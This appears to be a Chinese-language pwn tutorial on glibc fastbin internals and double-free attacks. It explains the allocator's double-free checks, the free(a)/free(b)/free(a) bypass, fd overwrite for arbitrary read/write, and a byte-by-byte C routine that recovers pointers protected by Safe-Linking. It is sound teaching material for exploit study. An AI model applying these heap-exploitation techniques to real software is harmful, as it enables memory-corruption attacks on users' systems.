PWN入门:FastBin与DoubleFree降妖

admin 2025年5月12日20:04:46评论4 views字数 26868阅读89分33秒阅读模式

1

针对fastbin的攻击

在GLibC的管理概念中,fast bin是极其特殊的一个,这种特殊体现在多个方面。

◆第一点就是存放的位置,它和tcache是唯二拥有单独存放区域的链表。

unsorted binsmall binlarge bin这三类链表需要放在bins数组中进行存储,而fast bin链表则是可以独占一个fastbinsY数组。

更不用说独占一个全局变量tcahce的天龙人tcache链表了。

◆第二点体现在fast chunk在插入和取出的时机上。

不管是在申请的_int_malloc阶段,还是释放的_int_free,使用fast bin链表链表的优先级都是相当高的。

对于GLibC提供的malloc函数来讲,不管是释放还是申请内存时,它的优先级都是仅次于tcache的。

这一点正好体现了fast bin的设计原则,快速响应较小chunk的分配与释放。

__libc_malloc
-> if (tc_idx < mp_.tcache_bins && tcache != NULL && tcache->counts[tc_idx] > 0)
-> tcache_get
-> _int_malloc
-> if ((nb) <= (get_max_fast ()))
-> ......
-> ......

_int_free
-> if (tcache != NULL && tc_idx < mp_.tcache_bins)
-> ......
-> if ((size) <= get_max_fast())
-> ......

◆第三点体现在fast bin链表的结构上。

unsorted binsmall binlarge bin使用的是由fdbk两个字段组成的双向循环链表。

其中fd根据chunk入链时间的倒序对链表进行维护,链表头是最晚入链的chunk,而字段bk则根据chunk入链时间的正序维护链表,链表头是最早入链的chunk。

fast bin链表就只使用fd组成单向链表。

这么做的好处就是,程序每次获取到的都是最晚进入fast bin链表,能有更大的几率取出仍位于CPU缓存上的数据,优化程序的运行速度。

除了只维护fd的单向链表外,fast bin链表应该还是唯一的,会在存取数据上会针对多线程进行区分的链表。

_int_malloc
-> if ((nb) <= (get_max_fast ()))
-> if (SINGLE_THREAD_P)
-> *fb = REVEAL_PTR (victim->fd);
-> else
-> REMOVE_FB (fb, pp, victim);
_int_free
-> if ((size) <= get_max_fast())
-> if (SINGLE_THREAD_P)
-> p->fd = PROTECT_PTR (&p->fd, old);
-> *fb = p;
-> else
-> do { old2 = old; p->fd = PROTECT_PTR (&p->fd, old); } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

从上面可以看到,GLibC会使用SINGLE_THREAD_P宏判断程序是否为多线程。

在单线程时会使用REVEAL_PTR直接将最晚入链的chunk移出链表,当chunk入链时也会直接操作链表。

但在多线程时,GLibC会使用REMOVE_FB将chunk移出链表,而且在chunk入链时会进入do { ...... } while循环语句中。

其实,REMOVE_FB宏也是通过do { ...... } while循环语句实现的。

但为什么在多线程中需要使用循环语句操作fast bin链表呢?

catomic_compare_and_exchange_val_acq(mem, newval, oldval)
-> if (*mem == oldval)
-> *mem = newval
-> return oldval

#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
#define REMOVE_FB(fb, victim, pp)
do
{
victim = pp;
if (victim == NULL)
break;
pp = REVEAL_PTR (victim->fd);
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) != victim);

进出链表时使用的循环语句,会通过catomic_compare_and_exchange_val_rel宏推进循环,该宏的作用并不复杂,它接受三个参数,当*mem等于oldval时,就更新*mem,最后不管*mem是否等于oldval,都会返回oldval

至于atomic,如果你熟悉多线程编程,就应该知道当多个线程访问同一对象时,为了确保线程间不冲突,会添加锁进行保护,就像一个人上厕所时要把门锁上,这样别人就进不来了,同样的,锁也会保证多线程有序的访问同一对象。

但是锁也会带来很多问题,比如常见的死锁,为了避免锁带来的问题,就产生了一个名为无锁编程的概念。无锁编程的基石是原子化atomic操作,原子操作指的是执行过程中不会被打断。

当线程使用无锁编程时,会利用原子操作访问对象,这时自然就不用担心其他线程和自己争抢访问对象了。

不过啊,所谓的原子的操作指的是一种轻量级的锁,不如在x86架构中,提供一种名为lock的指令,执行指令前会先通过lock加锁。

在了解catomic_compare_and_exchange_val_rel之后,我们可以知道上面的循环语句并不会进行多次循环,而且在当前的场景中,该宏一定会给*mem赋新值。

mchunkptr pp;
victim = *fb;
REMOVE_FB (fb, pp, victim);

显然,在这个时候do { ...... } while循环语句的秘密已经解开了,它就是在多线程环境下,针对链表进行的无锁编程。

◆最后一点体现在fast chunkPREV_INUSE标志位的使用上。

P标志只会出现在mchunk_sizemchunk_prev_size中,在malloc.c代码中,可以经常看到set_head(xx, xx | PREV_INUSE)的语句。

是的,set_head宏是专门为操控mchunk_size而准备的。因为set_head经常会给mchunk_size添加P位。

mchunk_size上带着PREV_INUSE标志位是常态,它只会在非fast chunk类型且非mmap方式分配的chunk释放时,才会通过clear_inuse_bit_at_offset清空前一个nextchunkmchunk_size的P位。

目的是告诉nextchunk,当nextchunk被释放时,它可以进行向后合并。

所以mchunk_sizePREV_INUSE标志位是“出厂时的默认设置”,PREV_INUSE标志位想要被清空,那就必须prevchunk被释放。

不过这种情况并不会涉及到fast chunkfast chunk在释放时,并不会与其他的空闲chunk进行合并。

_int_free
-> if ((size) <= get_max_fast ())
-> ......
-> else if (!chunk_is_mmapped(p))
-> _int_free_merge_chunk
-> _int_free_create_chunk
-> if (nextchunk != av->top)
-> if (!nextinuse)
-> ......
-> else
-> clear_inuse_bit_at_offset(nextchunk, 0);

当然fast chunk也并不是绝对不合并,GLibC会通过malloc_consolidate接口c尝试合并fast chunk

最常见的场景,就是当程序进入_int_malloc后,会检查have_fastchunks标记,如果发现arena中存在fast chunk就会开始合并。

_int_malloc
-> if (atomic_load_relaxed (&av->have_fastchunks))
-> malloc_consolidate (av);

malloc_consolidate
-> if (nextchunk != av->top)
-> if (!nextinuse)
-> ......
-> else
-> clear_inuse_bit_at_offset(nextchunk, 0);

至于mchunk_prev_size的P位,甚至可以说它的所有标志位都是无效的,这是因为在GLibC中,mchunk_prev_size只在chunk被切割后,记录上一个chunk的大小。

#define set_foot(p, s)(((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))

set_foot (remainder, remainder_size);

单向链表的隐患

fast bin只使用fd维护链表,好处就是写出了cache友好的代码,并且会让链表中空闲chunk间的相对关系不那么复杂。

但坏处就是,仅通过fd维护的成员,只会保证相邻chunk间具有链接关系,至于指向的内容是否正确就不得而知了。

而当使用fdbk维护的双向链表时,不止可以保证相邻chunk间具有链接关系,而且还可以通过双向链表确认指向内容的正确性。

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (fd->bk != p || bk->fd != p)
malloc_printerr ("corrupted double-linked list");

还有一点,就是不管是针对单向链表还是双向循环链表的检查,都是停留只检查两相邻的chunk间的关系,不会遍历整个链表进行检查。

chunk重复释放问题

当程序将chunk释放后,按照道理来讲,程序就要将缓冲区变量的指针设置成NULL,如果不设置成空指针,就代表程序还有机会操作缓冲区变量。

首当其中的隐患就是UAF,由于程序还掌握着已释放chunk的内存地址,所以就还可以对已释放的chunk进行读写。

其次就是重复释放chunk了,未被置空的缓冲区变量可以被再次释放,但是chunk被重复释放会有什么安全隐患呢?

在了解重复释放的危害之前,我们先来探讨下fast chunk是怎么完成重复释放的。

重复释放的形成

重复释放也被称作是Double Free,即便你不熟悉二进制安全,也可能会经常听到过该漏洞的大名。

在没有任何安全检查的防范下,重复释放fast chunk不会收到任何阻力。

针对重复释放的加固

但是Double Free漏洞由来已久,GLibC也早就针对这块内容进行了加固,在版本较新的GLibC中,想要无痛的完成重复释放,还需要我们加深下对堆管理策略的理解。

在GLibC的malloc.c代码中,存在着多个针对Double Free漏洞的检查,这些检查主要集中在_int_free函数中。

显然,这是为chunk的释放而专门准备的。

#define contiguous(M)          (((M)->flags & NONCONTIGUOUS_BIT) == 0)

_int_free
-> if ((size) <= get_max_fast ())
-> unsigned int idx = fastbin_index(size);
-> fb = &fastbin (av, idx);
-> mchunkptr old = *fb, old2;
-> if (old == p)
-> malloc_printerr ("double free or corruption (fasttop)");
-> else if (!chunk_is_mmapped(p))
-> _int_free_merge_chunk
-> if (p == av->top)
-> malloc_printerr ("double free or corruption (top)");
-> if (contiguous (av) && (char *) nextchunk >= ((char *) av->top + chunksize(av->top)))
-> malloc_printerr ("double free or corruption (out)");
-> if (__glibc_unlikely (!prev_inuse(nextchunk)))
-> malloc_printerr ("double free or corruption (!prev)");

_int_free在释放过程中,针对Double Free漏洞的检查分成两个部分。

◆第一部分就是针对fast chunk进行的检查,这个检查比较简单,主要操作就是获取fast bin链表中最晚入链的old,并将old与被释放的chunk地址进行比较,如果它们相同,GLibC就判定为重复释放,并抛出异常让程序终止运行。

至于fast bin链表中的其余空闲chunk是否和最新被释放的chunk重复,那就检查不到了,遍历整个链表的负担难免有些太重了。

◆第二部分是针对unsorted chunksmall chunklarge chunk的检查。

_int_free_merge_chunk函数中针对重复释放的检查可以分成三步。

a. 第一步是针对top chunk进行的,top chunk是一切chunk的源头,所有被使用的chunk最先都是从top chunk中分割出来的,因此它永远都是空闲的。

所以当GLibC发现被释放chunk的指针等同于top chunk时,就会判断为重复释放并通过malloc_printerr抛出异常。

你可能会好奇,fast bin链表就不用担心被释放的指针是top chunk吗?

对的!fast bin链表不用担心这个问题。

fast bin链表有一个天然的保护屏障,那就是fast chunk的大小限制。

top chunk的申请会在sysmalloc中完成,sysmalloc通过madvise完成内存的申请,其中提供给madvise的第三参数是MADV_HUGEPAGE,这个参数代表想内核申请透明大页THP Transparent Huge Page

既然是大内存页,那么它一定不会太小,事实上GLibC会将内存跟dl_pagesize进行对齐,dl_pagesize大小一般跟内核使用的页大小一致,其数值就是0x1000。

sysmalloc
-> size = ALIGN_UP (size, GLRO(dl_pagesize));
-> if (size > 0)
-> madvise_thp (brk, size);
-> __madvise (p, size, MADV_HUGEPAGE);

这个大小肯定是超过fast chunk的限制的,所以并不会影响到fast chunk

b. 第二步是针对nextchunk进行的检查。

首先会确认nextchunk是否位于top chunk的上方,在GLibC的堆管理逻辑中,最顶部的chunk一般是top chunk

然后会通过contiguous宏确认arena的标志位是否为NONCONTIGUOUS_BIT,这个标志位的作用是记录GLibC分配的chunk是否连续。

当arena中不存在NONCONTIGUOUS_BIT标志位时,就代表top chunk必定是地址最高的chunk,其余的chunk一定位于top chunk的下方。

nextchunk位于top chunk的上方,且NONCONTIGUOUS_BIT标志不存在时,GLibC就判断出被释放的chunk仍位于top chunk中,它的释放属于空闲chunk被再次释放,所以这时GLibC也会抛出异常。

这里需要针对NONCONTIGUOUS_BIT标志位再说明一下。

NONCONTIGUOUS_BIT标志位的存在可以看作是是专门针对子线程而设置的。

你应该已经知道了一个知识点,那就是子线程不断申请内存时,并不会向主线程那样不断扩张top chunk,当子线程让top chunk超过上限HEAP_MAX_SIZE时,就会启用子堆,然后通过heap_info管理子堆。

malloc_init_state
-> if (av != &main_arena)
-> set_noncontiguous (av);

c. 第三步是确认nextchunkPREV_INUSE是否已经不在了。

按照GLibC的逻辑,当chunk被释放时,它会将nextchunkPREV_INUSE清除掉,所以呢,如果chunk释放时,发现nextchunkPREV_INUSE已经不在了,就说明这个chunk应该是已经被释放过的,这个时候又来释放就属于重复释放了。

在加固措施的眼皮底下完成重复释放

从上面的针对Double Free进行的加固措施中可以看到,加固的措施的局部性有效性非常的明显,所以虽然有加固措施的存在,但我们绕过缓解措施进行重复释放的机会其实还是大大地。

对于fast bin来讲,只要相同的chunk只要不相邻,就不会被检查机制揪出来。

char *chunk_1, *chunk_2;
chunk_1 = malloc(0x40);
chunk_2 = malloc(0x40);
free(chunk_1)
free(chunk_2)
free(chunk_1)

fast bin: chunk_1 -> chunk_2 -> chunk_1

重复释放的危害分析

从表面上来看,chunk重复进入fast bin链表的危害主要有两类,这两类利用的产生都可以看作是始于类型混淆。

◆一是程序可以给不同的缓冲区变量申请到同一个chunk,chunk 1的混用可能会造成主观上的类型混淆,进而导致利用机会产生。

◆二是程序申请到链表头的chunk 1_1时,由于在运行期中,malloc_chunk结构体中除了mchunk_prev_sizemchunk_size以外的区域都会作为数据区,数据区就是程序申请完chunk后,实际拿来读写的区域。

GLibC这种设计,是基于入链chunk正常的前提下完成的,但当chunk发生重复释放时,就会造成被动的类型混淆。

当我们申请到链表头上的chunk 1_1并向其中写入数据时,肯定会影响仍处于链表尾上的chunk 1_0,最直接的影响就是chunk 1_0fd

只要fd被改写,GLibC就不会再将chunk 2视为chunk 1_0的上一个chunk,而是将fd指向的新内存区域看作是上一个入链的chunk。

                |------------------|
↓ |
chunk_1_1 -> chunk_2 -> chunk_1_0 |
| ^ | ^ | |
fd-----------| fd-------| fd-----|

一旦我们控制了chunk_1_0fd,那么当chunk_1_0被取出时,fast bin链表的头成员就变成了我们覆写的恶意地址,此时再次取出chunk,我们就拿到了恶意地址指向的内存区域。

对于程序来讲,操作缓冲区变量就相当于操作恶意地址上数据,此刻任意地址读写的环境创造完成!

不清空标志位带来的好处

在上面针对chunk重复释放的危害的描述中,我们可以隐约的感到fast chunk的一个特性带来的好处。

这个好处就是,fast chunk入链之后,不会与其他的chunk进行合并,chunk在链表中的相对关系始终是稳定的,而稳定的相对关系可以保证chunk的fd始终有效。

如果chunk发生了合并,那么chunk 1_0fd就无法发生作用了,这个时候使用的fd就变成了其他的chunk的fd,但新的fd能否被控制就难说了。

至于这种好处的发生,要源自于fast chunkmchunk_size中始终处于启用状态的标志位PREV_INUSE,是它保障了fast chunk不进行合并。

异或加解密的影响

想要改写fd这个事情,可能很简单,也可能很复杂。

如果GLibC版本较低,向chunk_1_1数据区写入地址A时,chunk_1_0fd会被顺利改写成地址A,并可以直接拿来使用。

chunk_1_1 -> chunk_2 -> chunk_1_0     address_a
| ^ | ^ | ^
fd-----------| fd-------| fd-----------|

但当GLibC的版本较高时,直接写入的地址就不能被拿来使用了。

在高版本的GLibC针对fast bin和tcache添加了一种地址随机化的机制,chunk在进入链表时,会通过PROTECT_PTR将当前链表头上的chunk地址加密,加密后的地址会存放到新入链chunk的fd上,最后将新入链chunk插入链表头,完成入链。

unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
mchunkptr old = *fb;
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;

经过上面的一番操作后,链表头上存放的chunk地址永远都是正确的,但通过fd链接的其他chunk地址就变成了一个被随机化的地址。

这些不正确的地址都需要经过REVEAL_PTR解密才可以得到恢复。

chunk出链也并不复杂,先是取出链表头上的victim,通过REVEAL_PTRfd上的地址进行解密,然后将解密后的chunk地址放到链表头上,最后返回victim给程序进行使用就可以了。

idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
victim = *fb;
*fb = REVEAL_PTR (victim->fd);

所以啊,在高版本的GLibC中控制空闲fast chunkfd,就必须保证覆写fd的数据在经过REVEAL_PTR解密后,可以得到一个可读可写的内存地址。

而低版本的GLibC没有针对fd加解密的这一设计,所以fd上存储的永远都是正确的地址,自然也就不会拥有这种烦恼。

异或加解密的安全性简要分析

想要在针对fd地址随机化的情况下,不仅完成fd的覆写,还要使得GLibC在取出chunk时,可以让经REVEAL_PTR解密后的数据,指向我们预期中的内存区域。

为了达到这一目的,我们需要了解下异或加解密的流程。

异或加解密,可以看作是一种非常简单的加解密措施,为了完成加解密的流程,它需要两个部分,一是文本信息,二是密钥。

对于PROTECT_PTR来讲,ptr是文本信息,而pos就是密钥。

异或加解密的操作依赖于xor异或运算,所谓的异或运算指的就是两比特位的数值相等时产生结果为0,反之则产生结果为1的运算规则。

#define PROTECT_PTR(pos, ptr)
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

在GLibC的设计中,它要求使用指针类型的数据,其中指针类型变量的内存地址作为密钥,而指针类型变量上存放数据则作为文本信息。

内存地址会右移12个比特位后生成实际使用的密钥,这是因为内存地址间的相似度比较高,所以右移打乱相似度,提高加密复杂度。

p->fd = PROTECT_PTR (&p->fd, old);

*fb = REVEAL_PTR (victim->fd);

明文与密钥经过异或运算产生密文后,只要解密时仍使用相同的密钥,就可以保证被翻转的比特位数值可以再翻转回来,恢复明文信息。

这也是使用指针类型变量的原因,同一指针类型变量的地址是固定,使用指针变量所在地址作为密钥,可以始终和文本信息绑定,我们不需要通过额外的手段获取密钥。

PROTECT_PTR加密时使用的密钥其长度是跟文本信息一致的,这种做法的好处是安全性较高(相比于单字节密钥或重复密钥来讲)。

只要内存地址不被泄露出去,这种加密手段算是简单加密方法中较为快捷且有效的。

所以,在我们不知道存放fd的内存地址的情况下,想要向fd中写入可以被正确解密的数据,其实还是比较困难的。

安全链接机制的绕过方法初探

所谓上有政策,下有对策,难道chunk间的链接地址加固,就再无破解可能了吗?

当然不会是这样的!

PROTECT_PTR宏中文本信息的低36位会与密钥的有效36比特位进行异或运算,而高28个比特位则会和0进行异或运算。

因此对于高28位来讲,密钥是已知的,当然64位系统中,内存地址的有效值只占48位,所以高28位中只有12位是有效数值,高28位中的高16位全是0,可以忽略。

要知道任何数据与0进行与异或运算,其结果都是数据本身。

这12个比特位上在加密后,仍存储着真实数据的特性将会给予我们莫大的帮助。

一个字节占用8个比特位,所以12个存储原始数据的比特位可以分成两个部分,高8个比特位为第5个字节,低4个比特位则属于第4个字节。

高位的1个半字节已经有着落了,那么后面的字节呢?

plain  : 0x55fb52648290
key : 0x00055fb52648
cipher : 0x55fe0dd1a4d8

key xor cipher = plain
key xor plain = cipher

不管什么场景下,密文和明文进行异或运算的结果就是密钥,这个自然不用多说。

但是在PROTECT_PTR宏的场景下,密文和右移12位的明文运算的结果可能就是真实的明文,这个东西可有点诡异,而且当cipher xor (plain >> 12) = plain成立时,就代表我们在拥有完整密文和部分明文的情况下,逐字节的还原全部明文。

不过这个现象又是怎么产生的呢?

cipher xor plain  = key
plain xor cipher = key

cipher xor (plain >> 12) = plain

这个现象之所以出现,其实是跟GLibC的arena与chunk的特殊地址息息相关的。

如果你仔细观察真实场景下,观察PROTECT_PTR宏中posptr的实际数值,就会发现,明文有效数据中的高36位数据刚好是等于密钥的。

plain  : 0x   55fb52648290
key : 0x00055fb52648

显然,在PROTECT_PTR宏的处理方式下,出现上面的情况大概率是一种必然。

密钥pos的数值是chunk_address + offset(fd),而ptr的数值则是某个真实chunk A的地址,chunk A的地址当然不会直接等于pos的数值,但是,它们的数值应该是极为相似的。

因为这些chunk最初都是从top chunk中切割出来的,所以chunk的地址可以归纳为基地址加偏移值heap_base + xxx的格式,当两个chunk越相近时,它们的偏移值之差也不会太大,因此它们地址中相等的字节也会越多,所以明文数据右移12位后很有机会是等于密钥的。

破解之道就在其中!

当上述情况成立时,我们可以利用密文的有效地址获取未加密过的最高的第5字节,然后将最高字节右移12位,作为密钥解出第4字节,以此往复,直到第0字节也被解出。

for(i = 2; i <= 8; i++) {
bits = 64 - 8 * i;
if (bits < 0) {
bits = 0;
}

plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;

printf(
"stage %d: bits = %02d, key = 0x%016lx, plain = 0x%016lxn",
i, bits, key, plain
);
}

通过上面的分析,我们已经知道了破解Safe-Linking机制的方法,比较土的方法呢,就是直接泄露密钥。

稍微先进一点的方法,会收到一点限制,要求明文的高36位等于密钥,当明文和密钥同时处于GLibC的堆环境时,这一点还比较容易达成,因为任何chunk的起始地址都是相同的,chunk在堆中的偏移值决定了它们的相似性。

再加上明文的最高12位不会被随机化,有这两种特性的加持,我们就可以在只拥有密文的前提下,逐字节的完成反随机化的工作。

当然,这是在基于存在信息泄露的前提下完成的,那么还有没有方法,可以在不进行信息泄露的前提下,就完成Safe-Linking机制的绕过呢?

总结

堆内存一直是安全隐患的多发之地,本次事故的发生在于chunk被重复的释放。

释放的内存真的不可用了吗?

内存是软件的栖息之地,程序需要向内核申请内存进行使用,对于程序来讲,只要内存分配给了自己,那就是可以使用的,不存在真正意义上的内存失效一说。

比如栈虽然随函数的消失,但原来函数分配的栈空间其实还是可以读写的,再比如堆内存被释放后,也只是交给GLibC进行管理,程序并没有向内核申请削减内存,从程序的内存布局中可以看到,堆内存仍保持着原来的大小。

栈内存随函数变迁后,程序丧失了直接控制原来栈内存的途径,对于堆内存而言,也是一样,一旦chunk被释放,程序就应该丧失对已释放chunk的控制方法,比如将缓冲区变量的指针设置成空指针。

如果堆内存释放后,不被清理控制方法(内存地址置空),那么被释放的chunk仍位于程序的内存布局中,程序并没有真正的抛弃内存,那么这段在逻辑上被抛弃的内存,实际就仍是可以被直接控制的。

逻辑上不可用和程序仍拥有直接控制方法的现实起了冲突,造成这一情况的原因,是程序员并不熟悉操作系统与GLibC的机制,以为释放后堆内存就不可以用了。

这种冲突的情况,会产生诸多的安全问题,比如大名鼎鼎的UAF,以及本文中出现的重复释放问题。

可能是间谍?

堆内存重复释放的问题由来已久,它之所以可以被利用,有一部分原因是由GLibC在管理chunk采用不明确的机制引起的。

GLibC将chunk划分成由struct malloc_chunk结构体和数据区两个部分,重复释放问题产生的关键就在于struct malloc_chunk结构体。

struct malloc_chunk结构体的区域可以被看作是功能区,一旦被怀有恶意者掌控,后果将会不堪设想,而GLibC混乱的管理方案,为我们提供了机会。

GLibC针对chunk的管理需要分成使用期以及释放期,在使用阶段中malloc_chunk只有mchunk_prev_sizemchunk_size两个字段会发挥作用,而全部字段只有在释放阶段时才会全部发挥作用。

在正常情况下,这种管理方式并不会导致问题,非正常情况下就不好说了。

mchunk_prev_sizemchunk_size是chunk被切割出来时就产生,这两个字段的数值需要一直保持,不能丢失,这也是两个字段始终发挥作用的原因。

fdxxbkxx则只会在chunk被释放时才会被使用,其余时候并不会被使用,所以其余的地段也只会在释放时在才会被赋成有效地址。

* data area        *
* | bk_nextsize | *
* | fd_nextsize | *
* | bk | *
* | fd | *
| mchunk_size |
| mchunk_prev_size |

fdxxbkxx这样在不同阶段拥有不同身份的角色,很有可能变成间谍。

利用缺口的产生

当程序握有已释放chunk的内存地址时,首先是fd位置上的真实内存数据可以被泄露出来,其次就是从fd位置开始的地方写入数据。

在GLibC的眼中,结构体malloc_chunk中的fdxxbkxx此时指向链表中其余的空闲chunk,指针变更等价于空闲chunk变更,这就说明我们有机会向GLibC申请到指定的内存区域,并从该内存区域中读写数据。

这时任意地址读写的环境已经被我们构造了出来。

链表类型与安全检查的影响

在GLibC中,chunk释放时会根据情况进入不同的链表中,这些链表在管理策略上有些不同,导致它们对malloc_chunk中的fdxxbkxx的使用上有些区别。

首先是fast bin链表,采用先进后出的原则进行控制,所以只用fd一个字段,至于unsorted binsmall binlarge bin三个链表,它们不需要考虑缓存友好的问题,所以会主要会使用bk维护先进先出链表,当然,它们也会使用fd维护一份先进后出链表,形成双向链表。

large bin链表还要特殊一些,其余链表中chunk大小是相等的,而large bin链表中chunk大小是可以不相等的,所以large bin链表还会使用malloc_chunk中的fd_nextsizebk_nextsize字段。

前面说过重复释放的漏洞困扰GLibC很长时间了,GLibC也针对重复释放进行了加固,但是因为重复释放chunk很难有效的检测,所以GLibC只会针对相邻的chunk以及永远空闲的top chunk进行检测,这种加固机制给了我们绕过防御的可能性。

GLibC在加固时使用的检测方法一般与malloc_chunk中的fdxxbkxx强相关,但这里主要关注fast bin所维护的fd链表。

fast bin链表因为只会检查新释放chunk和前一个释放的chunk是否相同,所以绕过这个并不费劲,但是GLibC引入了一种地址随机化的机制保护fd上存放的数据。

不管是从fd上读取数据会面临数据“变形”的问题,向fd上写入数据后,需要保证后续地址进行反随机化时,可以解出正确的地址。

这个随机化机制,为了保证密钥和数据的绑定,所以直接使用了&fd作为密钥,由于密钥&fd和明文数据*fb都是chunk的地址,如果这两个chunk是相近的,那么它们有效地址中高36位就有极大概率是一样的(密钥地址右移12位),即明文等于密钥,又因为明文的高12位是不被加密,所以密文中还自带明文,这个时候就可以逐字节的让密文解出明文,再用明文作为密钥,接触下个字节的明文,直到解出全部的明文。

当然,要是能直接泄露&fd的地址获取密钥也是可以的。

崩溃大赏

构造出异常的chunk环境后,安全风险当然是很大很明确的,除了安全风险之外,异常的chunk环境导致程序崩溃的情况也并不罕见。

你也在用堆内存啊!

如果你现在形成了异常的堆内存环境,比如重复释放chunk,那就一定小心了,因为可能一个正常的堆内存申请都会将你的程序搞到崩溃。

当然啊,如果chunk的位置保持不动,程序要出现崩溃的情况还是不太和道理的,但是在GLibC的管理概念中,chunk常常是需要迁移的。

比如下面的示例中,程序出现了chunk 1被重复释放的情况,假如这时调用GLibC的接口getchar,就会产生崩溃。

chunk 1 -> chunk 2 -> chunk 1

chunk_1 = malloc(0x30);
malloc(0x30);
chunk_2 = malloc(0x30);
free(chunk_1);
free(chunk_2);
free(chunk_1);
getchar();

其根本原因在于,getchar这个看起来人畜无害的东西,因为需要从stdin中获取输入,所以会申请堆内存,申请的内存还挺大的,足足一个页的大小,这个大小显然应该归类到large chunk中,申请large chunk不要紧,但是_int_malloc发现申请大小属于large chunk时,会使用malloc_consolidate合并fast bin链表中的空闲chunk。

这一合并操作看似没有问题,实则内含隐患,隐患于重复释放的任意地址读写的原理是一样的,chunk_1会先被拉进unsorted bin链表中,这个时候chunk 1fd保存的数据就变成了unsorted bin中chunk的地址或&bins[0]的地址。

由于链表中存在两份chunk_1,所以chunk_1还会再被取出进行合并,当然这时也不会产生问题,但是malloc_consolidate会通过chunk_1fd上保持的地址查找下一个fast chunk

不管地址是真实的chunk还是&bins[0],它们都要经过REVEAL_PTR宏进行反随机化,经过异或运算后,地址基本上都不会在和MALLOC_ALIGNMENT对齐,导致无法绕过地址对齐检查misaligned_chunk

#define misaligned_chunk(p)((p) & MALLOC_ALIGN_MASK)

getchar
-> __GI___uflow
-> ......
-> _int_malloc
-> malloc_consolidate
-> fb = &fastbin (av, 0);
-> p = *fb;
-> if (misaligned_chunk (p))
-> malloc_printerr
-> -> p = REVEAL_PTR (p->fd);

除了getchar的问题之外,打印函数printf也是一个极为常见,且使用堆内存的函数,它因为需要需要向stdout设备输出信息,所以也会使用堆内存。

下面给出了一个崩溃场景的示例,chunk 1重复释放后,调用了printf函数,该函数因为会使用堆内存,所以先通过malloc接口申请内存。

printf申请内存的也是一个页,所以会跟getchar一样进入large chunk的分支,然后通过检测到空闲chunk存在,并开始通过malloc_consolidate对chunk进行合并以及迁移。

chunk_1 = malloc(0x30);
chunk_2 = malloc(0x30);
free(chunk_1);
free(chunk_2);
free(chunk_1);
printf("xxxx");

(gdb) bt
......
#5 0x00007ffff7e4d965 in malloc_printerr
#6 0x00007ffff7e4e4b8 in malloc_consolidate
#7 0x00007ffff7e50b88 in _int_malloc
#8 0x00007ffff7e51eaa in __GI___libc_malloc
#9 0x00007ffff7e2cfc3 in __GI__IO_file_doallocate
......
#15 0x00007ffff7e09952 in __printf_buffer_flush_to_file
#16 0x00007ffff7e09a10 in __printf_buffer_to_file_done
#17 0x00007ffff7e146f9 in __vfprintf_internal
#18 0x00007ffff7e0912b in __printf
......

不过printf函数触发的崩溃位置和getchar函数有所不同,它是在检查地址时出现的崩溃,当程序申请出chunk 1以及chunk 2后,因为chunk 2chunk 1相邻,所以就把chunk 1合并了。

因为申请大小是0x30,所以chunk的实际大小是0x40,合并后的chunk大小是0x80,当重复的chunk 1再被移除链表后,会经过((&fastbin (av, idx)) != fb)的检查,但是这里chunk 1的大小刚好超过了fast chunk的限制,所以刚好无法从数组fastbinsY中获取有效的fast bin链表,自然也就通不过检查。

当然即使chunk不是相邻或合并后大小未超过fast chunk的限制,它也会在后面遇到和getchar一样的崩溃。

毕竟fb上变异的数值大概率不会在反随机化后仍和MALLOC_ALIGNMENT对齐。

malloc_consolidate
-> unsigned int idx = fastbin_index (chunksize (p));
-> fb = &fastbin (av, 0);
-> if ((&fastbin (av, idx)) != fb)
-> malloc_printerr ("malloc_consolidate(): invalid chunk size");

如果想要在不适用堆内存的情况下,依旧完成向屏幕输出内容的任务,可以考虑下使用设备stderrfprintf接口,printffprintf的功能是一样,唯一不同的是,printf默认使用stdout作为输出设备,如果fprintf选择stdout作为输出设备,那么也会使用堆内存。

是否使用堆内存,取决于设备是否需要缓冲区,像stderr就不需要缓冲区,它默认是即即时写入的,而stdout则默认是需要缓冲区的。

缓冲区的大小以及是否需要缓冲区也可以通过setvbuf接口设置。

所以呢,想要避免构造出异常的堆内存环境后,后续正常的申请操作引发程序的崩溃,就需要尽量避免申请堆内存,造成chunk的合并或迁移。

烦人的tcache

上面介绍的是一些会使用堆内存的库函数,对于fast chunk类型来讲,GLibC从链表large bintop chunk中获取chunk时,会检查arena是否存在fast chunk,如果存在就通过malloc_consolidate合并。

if (in_smallbin_range (nb))
-> .....
else
-> if (atomic_load_relaxed (&av->have_fastchunks))
-> malloc_consolidate
use_top:
-> if ((size) >= (nb + MINSIZE))
-> ......
-> else if (atomic_load_relaxed (&av->have_fastchunks))
-> malloc_consolidate

但是,你可不要以为避免从large bintop chunk中获取chunk就万事大吉了。

因为tcache机制的存在,即使申请的内存大小属于fast chunk,在tcache中的链表还没有被填满时,会将fast bin链表中其余的chunk填入tcache中。

if (nb <=(get_max_fast ()))
-> idx = fastbin_index (nb);
-> mfastbinptr *fb = &fastbin (av, idx);
-> victim = *fb;
-> if (victim != NULL)
-> *fb = REVEAL_PTR (victim->fd);
-> size_t tc_idx = csize2tidx (nb);
-> if (tcache != NULL && tc_idx < mp_.tcache_bins)
-> mchunkptr tc_victim;
-> while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL)
-> fb = REVEAL_PTR (tc_victim->fd);
-> tcache_put (tc_victim, tc_idx);
-> tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
-> e->key = tcache_key;
-> e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);

即使有重复释放的chunk位于链表中,也不会对fast chunk移入tcache中有什么影响,但是我们之所以要搞重复释放chunk的环境,是为了申请到一个在仍GLibC中处于释放状态的chunk 1_0,修改分配到手的chunk 1_1后,那个仍位于GLibC的空闲链表中的chunk 1_9自然也会随着更改。

